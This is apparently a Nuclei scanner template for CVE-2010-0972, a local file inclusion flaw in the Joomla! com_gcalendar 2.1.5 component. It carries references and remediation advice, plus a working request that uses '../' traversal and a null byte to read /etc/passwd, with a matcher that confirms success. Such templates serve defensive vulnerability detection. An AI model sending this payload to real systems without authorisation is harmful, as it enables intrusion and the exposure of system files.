id: CVE-2010-0972 info: name: Joomla! Component com_gcalendar Suite 2.1.5 - Local File Inclusion author: daffainfo severity: high description: A directory traversal vulnerability in the GCalendar (com_gcalendar) component 2.1.5 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php. reference: - https://www.exploit-db.com/exploits/11738 - https://nvd.nist.gov/vuln/detail/CVE-2010-0972 - http://web.archive.org/web/20140804152652/http://secunia.com/advisories/38925/ - http://www.exploit-db.com/exploits/11738 remediation: Apply all relevant security patches and product upgrades. classification: cve-id: CVE-2010-0972 tags: edb,cve,cve2010,joomla,lfi requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_gcalendar&controller=../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # Enhanced by mp on 2022/02/13